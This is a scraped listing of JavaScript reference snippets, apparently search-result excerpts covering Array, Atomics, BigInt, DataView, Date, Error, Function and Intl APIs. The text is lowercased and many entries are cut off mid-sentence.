if (!array.isarray) { array.isarray = function(arg) { return object.prototype.tostring.call(arg) === '[object array]'; }; } examples using array.isarray // all following calls return true array.isarray([]); array.isarray([1]); array.isarray(new array()); array.isarray(new array('a', 'b', 'c', 'd')); array.isarray(new array(3)); // little known fact: array.prototype itself is an array: array.isarray(array.prototype); // all following calls return false array.isarray(); array.isarray({}); array.isarray(null); array.isarray(undefined...
Array.of() - JavaScript
if (!array.of) { array.of = function() { return array.prototype.slice.call(arguments); // or let vals = []; for(let prop in arguments){ vals.push(arguments[prop]); } return vals; } } examples using array.of array.of(1); // [1] array.of(1, 2, 3); // [1, 2, 3] array.of(undefined); // [undefined] specifications specification ecmascript (ecma-262)the definition of 'array.of' in that specification.
Array.prototype.push() - JavaScript
let vegetables = ['parsnip', 'potato'] let morevegs = ['celery', 'beetroot'] // merge the second array into the first one // equivalent to vegetables.push('celery', 'beetroot') array.prototype.push.apply(vegetables, morevegs) console.log(vegetables) // ['parsnip', 'potato', 'celery', 'beetroot'] using an object in an array-like fashion as mentioned above, push is intentionally generic, and we can use that to our advantage.
Array.prototype.reverse() - JavaScript
const a = {0: 1, 1: 2, 2: 3, length: 3}; console.log(a); // {0: 1, 1: 2, 2: 3, length: 3} array.prototype.reverse.call(a); //same syntax for using apply() console.log(a); // {0: 3, 1: 2, 2: 1, length: 3} specifications specification ecmascript (ecma-262)the definition of 'array.prototype.reverse' in that specification.
Array.prototype.shift() - JavaScript
lays the removed element: var myfish = ['angel', 'clown', 'mandarin', 'surgeon']; console.log('myfish before:', json.stringify(myfish)); // myfish before: ['angel', 'clown', 'mandarin', 'surgeon'] var shifted = myfish.shift(); console.log('myfish after:', myfish); // myfish after: ['clown', 'mandarin', 'surgeon'] console.log('removed this element:', shifted); // removed this element: angel using shift() method in while loop the shift() method is often used in condition inside while loop.
Array.prototype.sort() - JavaScript
the numeric arrays are sorted without a compare function, then sorted using one.
Array.prototype.toString() - JavaScript
examples using tostring const array1 = [1, 2, 'a', '1a']; console.log(array1.tostring()); // expected output: "1,2,a,1a" specifications specification ecmascript (ecma-262)the definition of 'array.prototype.tostring' in that specification.
Array.prototype.unshift() - JavaScript
see example: let arr = [4, 5, 6] arr.unshift(1, 2, 3) console.log(arr); // [1, 2, 3, 4, 5, 6] arr = [4, 5, 6] // resetting the array arr.unshift(1) arr.unshift(2) arr.unshift(3) console.log(arr) // [3, 2, 1, 4, 5, 6] examples using unshift let arr = [1, 2] arr.unshift(0) // result of the call is 3, which is the new array length // arr is [0, 1, 2] arr.unshift(-2, -1) // the new array length is 5 // arr is [-2, -1, 0, 1, 2] arr.unshift([-4, -3]) // the new array length is 6 // arr is [[-4, -3], -2, -1, 0, 1, 2] arr.unshift([-7, -6], [-5]) // the new array length is 8 // arr is [ [-7, -6], ...
ArrayBuffer.prototype.byteLength - JavaScript
examples using bytelength var buffer = new arraybuffer(8); buffer.bytelength; // 8 specifications specification ecmascript (ecma-262)the definition of 'arraybuffer.prototype.bytelength' in that specification.
ArrayBuffer.isView() - JavaScript
examples using isview arraybuffer.isview(); // false arraybuffer.isview([]); // false arraybuffer.isview({}); // false arraybuffer.isview(null); // false arraybuffer.isview(undefined); // false arraybuffer.isview(new arraybuffer(10)); // false arraybuffer.isview(new uint8array()); // true arraybuffer.isview(new float32array()); ...
Atomics.add() - JavaScript
examples using add() const sab = new sharedarraybuffer(1024); const ta = new uint8array(sab); atomics.add(ta, 0, 12); // returns 0, the old value atomics.load(ta, 0); // 12 specifications specification ecmascript (ecma-262)the definition of 'atomics.add' in that specification.
Atomics.and() - JavaScript
5 0101 1 0001 ---- 1 0001 examples using and() const sab = new sharedarraybuffer(1024); const ta = new uint8array(sab); ta[0] = 5; atomics.and(ta, 0, 1); // returns 0, the old value atomics.load(ta, 0); // 1 specifications specification ecmascript (ecma-262)the definition of 'atomics.and' in that specification.
Atomics.compareExchange() - JavaScript
examples using compareexchange() const sab = new sharedarraybuffer(1024); const ta = new uint8array(sab); ta[0] = 7; atomics.compareexchange(ta, 0, 7, 12); // returns 7, the old value atomics.load(ta, 0); // 12 specifications specification ecmascript (ecma-262)the definition of 'atomics.compareexchange' in that specification.
Atomics.exchange() - JavaScript
examples using exchange() const sab = new sharedarraybuffer(1024); const ta = new uint8array(sab); atomics.exchange(ta, 0, 12); // returns 0, the old value atomics.load(ta, 0); // 12 specifications specification ecmascript (ecma-262)the definition of 'atomics.exchange' in that specification.
Atomics.isLockFree() - JavaScript
examples using islockfree atomics.islockfree(1); // true atomics.islockfree(2); // true atomics.islockfree(3); // false atomics.islockfree(4); // true atomics.islockfree(5); // false atomics.islockfree(6); // false atomics.islockfree(7); // false atomics.islockfree(8); // true specifications specification ecmascript (ecma-262)the definition of 'atomics.islockfree' in that specification.
Atomics.load() - JavaScript
examples using load const sab = new sharedarraybuffer(1024); const ta = new uint8array(sab); atomics.add(ta, 0, 12); atomics.load(ta, 0); // 12 specifications specification ecmascript (ecma-262)the definition of 'atomics.load' in that specification.
Atomics.notify() - JavaScript
examples using notify given a shared int32array: const sab = new sharedarraybuffer(1024); const int32 = new int32array(sab); a reading thread is sleeping and waiting on location 0 which is expected to be 0.
Atomics.or() - JavaScript
5 0101 1 0001 ---- 5 0101 examples using or const sab = new sharedarraybuffer(1024); const ta = new uint8array(sab); ta[0] = 2; atomics.or(ta, 0, 1); // returns 2, the old value atomics.load(ta, 0); // 3 specifications specification ecmascript (ecma-262)the definition of 'atomics.or' in that specification.
Atomics.store() - JavaScript
examples using store() var sab = new sharedarraybuffer(1024); var ta = new uint8array(sab); atomics.store(ta, 0, 12); // 12 specifications specification ecmascript (ecma-262)the definition of 'atomics.store' in that specification.
Atomics.sub() - JavaScript
examples using sub const sab = new sharedarraybuffer(1024); const ta = new uint8array(sab); ta[0] = 48; atomics.sub(ta, 0, 12); // returns 48, the old value atomics.load(ta, 0); // 36 specifications specification ecmascript (ecma-262)the definition of 'atomics.sub' in that specification.
Atomics.wait() - JavaScript
examples using wait() given a shared int32array: const sab = new sharedarraybuffer(1024); const int32 = new int32array(sab); a reading thread is sleeping and waiting on location 0 which is expected to be 0.
Atomics.xor() - JavaScript
5 0101 1 0001 ---- 4 0100 examples using xor const sab = new sharedarraybuffer(1024); const ta = new uint8array(sab); ta[0] = 5; atomics.xor(ta, 0, 1); // returns 5, the old value atomics.load(ta, 0); // 4 specifications specification ecmascript (ecma-262)the definition of 'atomics.xor' in that specification.
BigInt.prototype.toString() - JavaScript
examples using tostring 17n.tostring(); // '17' 66n.tostring(2); // '1000010' 254n.tostring(16); // 'fe' -10n.tostring(2); // -1010' -0xffn.tostring(2); // '-11111111' negative-zero bigint there is no negative-zero bigint as there are no negative zeros in integers.
BigInt.prototype.valueOf() - JavaScript
examples using valueof typeof object(1n); // object typeof object(1n).valueof(); // bigint specifications specification ecmascript (ecma-262)the definition of 'bigint.prototype.valueof()' in that specification.
BigInt - JavaScript
use within json using json.stringify() with any bigint value will raise a typeerror as bigint values aren't serialized in json by default.
BigInt64Array() constructor - JavaScript
once established, you can reference elements in the array using the object's methods, or by using standard array index syntax (that is, using bracket notation).
BigInt64Array - JavaScript
once established, you can reference elements in the array using the object's methods, or by using standard array index syntax (that is, using bracket notation).
BigUint64Array() constructor - JavaScript
once established, you can reference elements in the array using the object's methods, or by using standard array index syntax (that is, using bracket notation).
BigUint64Array - JavaScript
once established, you can reference elements in the array using the object's methods, or by using standard array index syntax (that is, using bracket notation).
Boolean.prototype.toString() - JavaScript
examples using tostring() in the following code, flag.tostring() returns "true": var flag = new boolean(true); var myvar = flag.tostring(); specifications specification ecmascript (ecma-262)the definition of 'boolean.prototype.tostring' in that specification.
Boolean.prototype.valueOf() - JavaScript
examples using valueof() x = new boolean(); myvar = x.valueof(); // assigns false to myvar specifications specification ecmascript (ecma-262)the definition of 'boolean.prototype.valueof' in that specification.
DataView() constructor - JavaScript
examples using dataview var buffer = new arraybuffer(16); var view = new dataview(buffer, 0); view.setint16(1, 42); view.getint16(1); // 42 specifications specification ecmascript (ecma-262)the definition of 'dataview constructor' in that specification.
DataView.prototype.buffer - JavaScript
examples using the buffer property var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.buffer; // arraybuffer { bytelength: 8 } specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.buffer' in that specification.
DataView.prototype.byteLength - JavaScript
examples using the bytelength property var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.bytelength; // 8 (matches the bytelength of the buffer) var dataview2 = new dataview(buffer, 1, 5); dataview2.bytelength; // 5 (as specified when constructing the dataview) var dataview3 = new dataview(buffer, 2); dataview3.bytelength; // 6 (due to the offset of the constructed dataview) sp...
DataView.prototype.byteOffset - JavaScript
examples using the byteoffset property var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.byteoffset; // 0 (no offset specified) var dataview2 = new dataview(buffer, 3); dataview2.byteoffset; // 3 (as specified when constructing the dataview) specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.byteoffset' in that specificatio...
DataView.prototype.getBigInt64() - JavaScript
examples using the getbigint64 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.getbigint64(0); // 0n specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.getbigint64()' in that specification.
DataView.prototype.getBigUint64() - JavaScript
examples using the getbiguint64 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.getbiguint64(0); // 0n specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.getbiguint64()' in that specification.
DataView.prototype.getFloat32() - JavaScript
examples using the getfloat32 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.getfloat32(1); // 0 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.getfloat32' in that specification.
DataView.prototype.getFloat64() - JavaScript
examples using the getfloat64 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.getfloat64(0); // 0 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.getfloat64' in that specification.
DataView.prototype.getInt16() - JavaScript
examples using the getint16 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.getint16(1); // 0 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.getint16' in that specification.
DataView.prototype.getInt32() - JavaScript
examples using the getint32 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.getint32(1); // 0 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.getint32' in that specification.
DataView.prototype.getInt8() - JavaScript
examples using the getint8 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.getint8(1); // 0 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.getint8' in that specification.
DataView.prototype.getUint16() - JavaScript
examples using the getuint16 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.getuint16(1); // 0 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.getuint16' in that specification.
DataView.prototype.getUint32() - JavaScript
examples using the getuint32 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.getuint32(1); // 0 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.getuint32' in that specification.
DataView.prototype.getUint8() - JavaScript
examples using the getuint8 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.getuint8(1); // 0 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.getuint8' in that specification.
DataView.prototype.setBigInt64() - JavaScript
examples using the setbigint64 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.setbigint64(0, 3n); dataview.getbigint64(0); // 3n specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.setbigint64()' in that specification.
DataView.prototype.setBigUint64() - JavaScript
examples using the setbiguint64 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.setbiguint64(0, 3n); dataview.getbiguint64(0); // 3n specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.setbiguint64()' in that specification.
DataView.prototype.setFloat32() - JavaScript
examples using the setfloat32 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.setfloat32(1, 3); dataview.getfloat32(1); // 3 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.setfloat32' in that specification.
DataView.prototype.setFloat64() - JavaScript
examples using the setfloat64 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.setfloat64(0, 3); dataview.getfloat64(0); // 3 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.setfloat64' in that specification.
DataView.prototype.setInt16() - JavaScript
examples using the setint16 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.setint16(1, 3); dataview.getint16(1); // 3 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.setint16' in that specification.
DataView.prototype.setInt32() - JavaScript
examples using the setint32 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.setint32(1, 3); dataview.getint32(1); // 3 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.setint32' in that specification.
DataView.prototype.setInt8() - JavaScript
examples using the setint8 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.setint8(1, 3); dataview.getint8(1); // 3 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.setint8' in that specification.
DataView.prototype.setUint16() - JavaScript
examples using the setuint16 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.setuint16(1, 3); dataview.getuint16(1); // 3 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.setuint16' in that specification.
DataView.prototype.setUint32() - JavaScript
examples using the setuint32 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.setuint32(1, 3); dataview.getuint32(1); // 3 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.setuint32' in that specification.
DataView.prototype.setUint8() - JavaScript
examples using the setuint8 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.setuint8(1, 3); dataview.getuint8(1); // 3 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.setuint8' in that specification.
DataView - JavaScript
examples using dataview var buffer = new arraybuffer(16); var view = new dataview(buffer, 0); view.setint16(1, 42); view.getint16(1); // 42 specifications specification ecmascript (ecma-262)the definition of 'dataview' in that specification.
Date() constructor - JavaScript
syntax new date() new date(value) new date(datestring) new date(year, monthindex [, day [, hours [, minutes [, seconds [, milliseconds]]]]]) note: the only correct way to instantiate a new date object is by using the new operator.
Date.UTC() - JavaScript
examples using date.utc() the following statement creates a date object with the arguments treated as utc instead of local: let utcdate = new date(date.utc(2018, 11, 1, 0, 0, 0)); specifications specification ecmascript (ecma-262)the definition of 'date.utc' in that specification.
Date.prototype.getDate() - JavaScript
examples using getdate() the second statement below assigns the value 25 to the variable day, based on the value of the date object xmas95.
Date.prototype.getFullYear() - JavaScript
examples using getfullyear() the following example assigns the four-digit value of the current year to the variable year.
Date.prototype.getHours() - JavaScript
examples using gethours() the second statement below assigns the value 23 to the variable hours, based on the value of the date object xmas95.
Date.prototype.getMilliseconds() - JavaScript
examples using getmilliseconds() the following example assigns the milliseconds portion of the current time to the variable milliseconds: var today = new date(); var milliseconds = today.getmilliseconds(); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.getmilliseconds' in that specification.
Date.prototype.getMinutes() - JavaScript
examples using getminutes() the second statement below assigns the value 15 to the variable minutes, based on the value of the date object xmas95.
Date.prototype.getSeconds() - JavaScript
examples using getseconds() the second statement below assigns the value 30 to the variable seconds, based on the value of the date object xmas95.
Date.prototype.getTime() - JavaScript
examples using gettime() for copying dates constructing a date object with the identical time value.
Date.prototype.getTimezoneOffset() - JavaScript
examples using gettimezoneoffset() // get current timezone offset for host device let x = new date(); let currenttimezoneoffsetinhours = x.gettimezoneoffset() / 60; // 1 // get timezone offset for international labour day (may 1) in 2016 // be careful, the date() constructor uses 0-indexed months, so may is // represented with 4 (and not 5) let labourday = new date(2016, 4, 1) let labourdayoffset = labourday.
Date.prototype.getUTCDate() - JavaScript
examples using getutcdate() the following example assigns the day portion of the current date to the variable day.
Date.prototype.getUTCDay() - JavaScript
examples using getutcday() the following example assigns the weekday portion of the current date to the variable weekday.
Date.prototype.getUTCFullYear() - JavaScript
examples using getutcfullyear() the following example assigns the four-digit value of the current year to the variable year.
Date.prototype.getUTCHours() - JavaScript
examples using getutchours() the following example assigns the hours portion of the current time to the variable hours.
Date.prototype.getUTCMilliseconds() - JavaScript
examples using getutcmilliseconds() the following example assigns the milliseconds portion of the current time to the variable milliseconds.
Date.prototype.getUTCMinutes() - JavaScript
examples using getutcminutes() the following example assigns the minutes portion of the current time to the variable minutes.
Date.prototype.getUTCMonth() - JavaScript
examples using getutcmonth() the following example assigns the month portion of the current date to the variable month.
Date.prototype.getUTCSeconds() - JavaScript
examples using getutcseconds() the following example assigns the seconds portion of the current time to the variable seconds.
Date.now() - JavaScript
engines which have not been updated to support this method can work around the absence of this method using the following shim: if (!date.now) { date.now = function now() { return new date().gettime(); }; } examples reduced time precision to offer protection against timing attacks and fingerprinting, the precision of date.now() might get rounded depending on browser settings.
Date.prototype.setDate() - JavaScript
examples using setdate() var thebigday = new date(1962, 6, 7); // 1962-07-07 (7th of july 1962) thebigday.setdate(24); // 1962-07-24 (24th of july 1962) thebigday.setdate(32); // 1962-08-01 (1st of august 1962) thebigday.setdate(22); // 1962-08-22 (22th of august 1962) thebigday.setdate(0); // 1962-07-31 (31th of july 1962) thebigday.setdate(98); // 1962-10-06 (6th of october 1962) thebigday.setdate(-50)...
Date.prototype.setFullYear() - JavaScript
examples using setfullyear() var thebigday = new date(); thebigday.setfullyear(1997); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.setfullyear' in that specification.
Date.prototype.setHours() - JavaScript
examples using sethours() var thebigday = new date(); thebigday.sethours(7); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.sethours' in that specification.
Date.prototype.setMilliseconds() - JavaScript
examples using setmilliseconds() var thebigday = new date(); thebigday.setmilliseconds(100); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.setmilliseconds' in that specification.
Date.prototype.setMinutes() - JavaScript
examples using setminutes() var thebigday = new date(); thebigday.setminutes(45); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.setminutes' in that specification.
Date.prototype.setMonth() - JavaScript
examples using setmonth() var thebigday = new date(); thebigday.setmonth(6); //watch out for end of month transitions var endofmonth = new date(2016, 7, 31); endofmonth.setmonth(1); console.log(endofmonth); //wed mar 02 2016 00:00:00 specifications specification ecmascript (ecma-262)the definition of 'date.prototype.setmonth' in that specification.
Date.prototype.setSeconds() - JavaScript
examples using setseconds() var thebigday = new date(); thebigday.setseconds(30); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.setseconds' in that specification.
Date.prototype.setTime() - JavaScript
examples using settime() var thebigday = new date('july 1, 1999'); var sameasbigday = new date(); sameasbigday.settime(thebigday.gettime()); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.settime' in that specification.
Date.prototype.setUTCDate() - JavaScript
examples using setutcdate() var thebigday = new date(); thebigday.setutcdate(20); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.setutcdate' in that specification.
Date.prototype.setUTCFullYear() - JavaScript
examples using setutcfullyear() var thebigday = new date(); thebigday.setutcfullyear(1997); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.setutcfullyear' in that specification.
Date.prototype.setUTCHours() - JavaScript
examples using setutchours() var thebigday = new date(); thebigday.setutchours(8); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.setutchours' in that specification.
Date.prototype.setUTCMilliseconds() - JavaScript
examples using setutcmilliseconds() var thebigday = new date(); thebigday.setutcmilliseconds(500); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.setutcmilliseconds' in that specification.
Date.prototype.setUTCMinutes() - JavaScript
examples using setutcminutes() var thebigday = new date(); thebigday.setutcminutes(43); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.setutcminutes' in that specification.
Date.prototype.setUTCMonth() - JavaScript
examples using setutcmonth() var thebigday = new date(); thebigday.setutcmonth(11); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.setutcmonth' in that specification.
Date.prototype.setUTCSeconds() - JavaScript
examples using setutcseconds() var thebigday = new date(); thebigday.setutcseconds(20); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.setutcseconds' in that specification.
Date.prototype.setYear() - JavaScript
examples using setyear() the first two lines set the year to 1996.
Date.prototype.valueOf() - JavaScript
examples using valueof() var x = new date(56, 6, 17); var myvar = x.valueof(); // assigns -424713600000 to myvar specifications specification ecmascript (ecma-262)the definition of 'date.prototype.valueof' in that specification.
Error() constructor - JavaScript
const x = error('i was created using a function call!') ​​​​// ...has the same functionality as this.
Error.prototype.columnNumber - JavaScript
examples using columnnumber var e = new error('could not parse input'); throw e; console.log(e.columnnumber) // 0 specifications not part of any standard.
Error.prototype.fileName - JavaScript
examples using filename var e = new error('could not parse input'); throw e; // e.filename could look like "file:///c:/example.html" specifications not part of any standard.
Error.prototype.lineNumber - JavaScript
examples using linenumber var e = new error('could not parse input'); throw e; console.log(e.linenumber) // 2 alternative example using error event window.addeventlistener('error', function(e) { console.log(e.linenumber); // 5 }); var e = new error('could not parse input'); throw e; this is not a standard feature and lacks widespread support.
Error.prototype.toSource() - JavaScript
examples using tosource calling the tosource method of an error instance (including nativeerrors) will return a string containing the source code of the error.
Error.prototype.toString() - JavaScript
'' : string(msg); if (name === '') { return msg; } if (msg === '') { return name; } return name + ': ' + msg; }; examples using tostring() var e = new error('fatal error'); console.log(e.tostring()); // 'error: fatal error' e.name = undefined; console.log(e.tostring()); // 'error: fatal error' e.name = ''; console.log(e.tostring()); // 'fatal error' e.message = undefined; console.log(e.tostring()); // '' e.name = 'hello'; console.log(e.tostring()); // 'hello' specifications specification ecma...
FinalizationRegistry.prototype.register() - JavaScript
examples using register the following registers the target object referenced by target, passing in the held value "some value" and passing the target object itself as the unregistration token: registry.register(target, "some value", target); the following registers the target object referenced by target, passing in another object as the held value, and not passing in any unregistration token (which means ta...
FinalizationRegistry - JavaScript
garbage collection work can be split up over time using incremental and concurrent techniques.
Float32Array() constructor - JavaScript
once established, you can reference elements in the array using the object's methods, or using standard array index syntax (that is, using bracket notation).
Float32Array - JavaScript
once established, you can reference elements in the array using the object's methods, or using standard array index syntax (that is, using bracket notation).
Float64Array() constructor - JavaScript
once established, you can reference elements in the array using the object's methods, or using standard array index syntax (that is, using bracket notation).
Float64Array - JavaScript
once established, you can reference elements in the array using the object's methods, or using standard array index syntax (that is, using bracket notation).
Function() constructor - JavaScript
invoking the function constructor as a function (without using the new operator) has the same effect as invoking it as a constructor.
Function.arguments - JavaScript
examples using the arguments object function f(n) { g(n - 1) } function g(n) { console.log('before: ' + g.arguments[0]) if (n > 0) { f(n) } console.log('after: ' + g.arguments[0]) } f(2) console.log('returned: ' + g.arguments) // output // before: 1 // before: 0 // after: 0 // after: 1 // returned: null specifications not part of any standard.
Function.caller - JavaScript
notes note that in case of recursion, you can't reconstruct the call stack using this property.
Function.length - JavaScript
examples using function length console.log(function.length); /* 1 */ console.log((function() {}).length); /* 0 */ console.log((function(a) {}).length); /* 1 */ console.log((function(a, b) {}).length); /* 2 etc.
Function.prototype.toString() - JavaScript
rror if the tostring() method is called on built-in function objects or a function created by function.prototype.bind, tostring() returns a native function string which looks like "function () {\n [native code]\n}" if the tostring() method is called on a function created by the function constructor, tostring() returns the source code of a synthesized function declaration named "anonymous" using the provided parameters and function body.
Function - JavaScript
this is different from using eval with code for a function expression.
Generator.prototype.return() - JavaScript
examples using return() the following example shows a simple generator and the return method.
Generator.prototype.throw() - JavaScript
examples using throw() the following example shows a simple generator and an error that is thrown using the throw method.
Infinity - JavaScript
examples using infinity console.log(infinity ); /* infinity */ console.log(infinity + 1 ); /* infinity */ console.log(math.pow(10, 1000)); /* infinity */ console.log(math.log(0) ); /* -infinity */ console.log(1 / infinity ); /* 0 */ console.log(1 / 0 ); /* infinity */ specifications specification ecmascript (ecma-262)the definition of 'infinity' in ...
Int16Array() constructor - JavaScript
once established, you can reference elements in the array using the object's methods, or using standard array index syntax (that is, using bracket notation).
Int16Array - JavaScript
once established, you can reference elements in the array using the object's methods, or using standard array index syntax (that is, using bracket notation).
Int32Array() constructor - JavaScript
once established, you can reference elements in the array using the object's methods, or using standard array index syntax (that is, using bracket notation).
Int32Array - JavaScript
once established, you can reference elements in the array using the object's methods, or using standard array index syntax (that is, using bracket notation).
Int8Array() constructor - JavaScript
once established, you can reference elements in the array using the object's methods, or using standard array index syntax (that is, using bracket notation).
Int8Array - JavaScript
once established, you can reference elements in the array using the object's methods, or using standard array index syntax (that is, using bracket notation).
Intl.Collator() constructor - JavaScript
examples using collator the following example demonstrates the different potential results for a string occurring before, after, or at the same level as another: console.log(new intl.collator().compare('a', 'c')); // → a negative value console.log(new intl.collator().compare('c', 'a')); // → a positive value console.log(new intl.collator().compare('a', 'a')); // → 0 note that the results shown in the ...
Intl.Collator.supportedLocalesOf() - JavaScript
examples using supportedlocalesof assuming a runtime that supports indonesian and german but not balinese in collation, supportedlocalesof returns the indonesian and german language tags unchanged, even though pinyin collation is not used with indonesian and a specialized german for indonesia is unlikely to be supported.
Intl.DateTimeFormat.supportedLocalesOf() - JavaScript
examples using supportedlocalesof assuming a runtime that supports indonesian and german but not balinese in date and time formatting, supportedlocalesof returns the indonesian and german language tags unchanged, even though pinyin collation is neither relevant to date and time formatting nor used with indonesian, and a specialized german for indonesia is unlikely to be supported.
Intl.DisplayNames.prototype.of() - JavaScript
examples using the of method let regionnames = new intl.displaynames(['en'], {type: 'region'}); regionnames.of('419'); // "latin america" let languagenames = new intl.displaynames(['en'], {type: 'language'}); languagenames.of('fr'); // "french" let currencynames = new intl.displaynames(['en'], {type: 'currency'}); currencynames.of('eur'); // "euro" specifications specification intl.
Intl.DisplayNames.prototype.resolvedOptions() - JavaScript
examples using resolvedoptions const displaynames = new intl.displaynames(['de-de'], {type: 'region'}); const usedoptions = displaynames.resolvedoptions(); console.log(usedoptions.locale); // "de-de" console.log(usedoptions.style); // "long" console.log(usedoptions.type); // "region" console.log(usedoptions.fallback); // "code" specifications specification intl.displaynamesth...
Intl.DisplayNames.supportedLocalesOf() - JavaScript
examples using supportedlocalesof assuming a runtime that supports indonesian and german but not balinese in date and time formatting, supportedlocalesof returns the indonesian and german language tags unchanged, even though pinyin collation is neither relevant to date and time formatting nor used with indonesian, and a specialized german for indonesia is unlikely to be supported.
Intl.ListFormat() constructor - JavaScript
examples using format the following example shows how to create a list formatter using the english language.
Intl​.ListFormat.prototype​.format() - JavaScript
examples using format the following example shows how to create a list formatter using the english language.
Intl​.List​Format​.prototype​.formatToParts() - JavaScript
examples using formattoparts const fruits = ['apple', 'orange', 'pineapple']; const mylistformat = new intl.listformat('en-gb', { style: 'long', type: 'conjunction' }); console.table(mylistformat.formattoparts(fruits)); // [ // { "type": "element", "value": "apple" }, // { "type": "literal", "value": ", " }, // { "type": "element", "value": "orange" }, // { "type": "literal", "value": ", and " }, // { "t...
Intl​.List​Format​.prototype​.resolvedOptions() - JavaScript
examples using resolvedoptions const delistformatter = new intl.listformat("de-de", { style: "short" }); const usedoptions = de.resolvedoptions(); console.log(usedoptions.locale); // "de-de" console.log(usedoptions.style); // "short" console.log(usedoptions.type); // "conjunction" (the default value) specifications specification intl.listformatthe definition of 'resolvedoptions()' ...
Intl.ListFormat.supportedLocalesOf() - JavaScript
examples using supportedlocalesof assuming a runtime that supports indonesian and german but not balinese in date and time formatting, supportedlocalesof returns the indonesian and german language tags unchanged, even though pinyin collation is neither relevant to date and time formatting nor used with indonesian, and a specialized german for indonesia is unlikely to be supported.
Intl.Locale() constructor - JavaScript
examples basic usage at its very simplest, the intl.locale constructor takes a locale identifier string as its argument: let us = new intl.locale('en-us'); using the locale constructor with an options object the constructor also takes an optional configuration object argument, which can contain any of several extension types.
Intl.Locale.prototype.caseFirst - JavaScript
these subtags add additional data about the locale, and are added to locale identifiers by using the -u extension key.
Intl.Locale.prototype.collation - JavaScript
these subtags add additional data about the locale, and are added to locale identifiers by using the -u extension.
Intl.Locale.prototype.maximize() - JavaScript
examples using maximize let mylocale = new intl.locale("fr", {hourcycle: "h24", calendar: "gregory"}); console.log(mylocale.basename); // prints "fr" console.log(mylocale.tostring()); // prints "fr-u-ca-gregory-hc-h24" let mylocmaximized = mylocale.maximize(); // prints "fr-latn-fr".
Intl.Locale.prototype.minimize() - JavaScript
examples using minimize let mylocale = new intl.locale("fr-latn-fr", {hourcycle: "h24", calendar: "gregory"}); console.log(mylocale.basename); // prints "fr-latn-fr" console.log(mylocale.tostring()); // prints "fr-latn-fr-u-ca-gregory-hc-h24" let mylocminimized = mylocale.minimize(); // prints "fr", since french is only written in the latin script // and is most likely to be spoken in france.
Intl.Locale.prototype.numberingSystem - JavaScript
gong gunjala gondi digits gonm masaram gondi digits grek greek upper case numerals — algorithmic greklow greek lower case numerals — algorithmic gujr gujarati digits guru gurmukhi digits hanidays han-character day-of-month numbering for lunar/other traditional calendars hanidec positional decimal system using chinese number ideographs as digits hans simplified chinese numerals — algorithmic hansfin simplified chinese financial numerals — algorithmic hant traditional chinese numerals — algorithmic hantfin traditional chinese financial numerals — algorithmic hebr hebrew numerals — algorithmic hmng pahawh hmong digits ...
Intl.Locale.prototype.numeric - JavaScript
these subtags add additional data about the locale, and are added to locale identifiers by using the -u extension key.
Intl.Locale.prototype.toString() - JavaScript
examples using tostring let mylocale = new intl.locale("fr-latn-fr", {hourcycle: "h24", calendar: "gregory"}); console.log(mylocale.basename); // prints "fr-latn-fr" console.log(mylocale.tostring()); // prints "fr-latn-fr-u-ca-gregory-hc-h24" specifications specification ecmascript internationalization api (ecma-402) ...
Intl.Locale - JavaScript
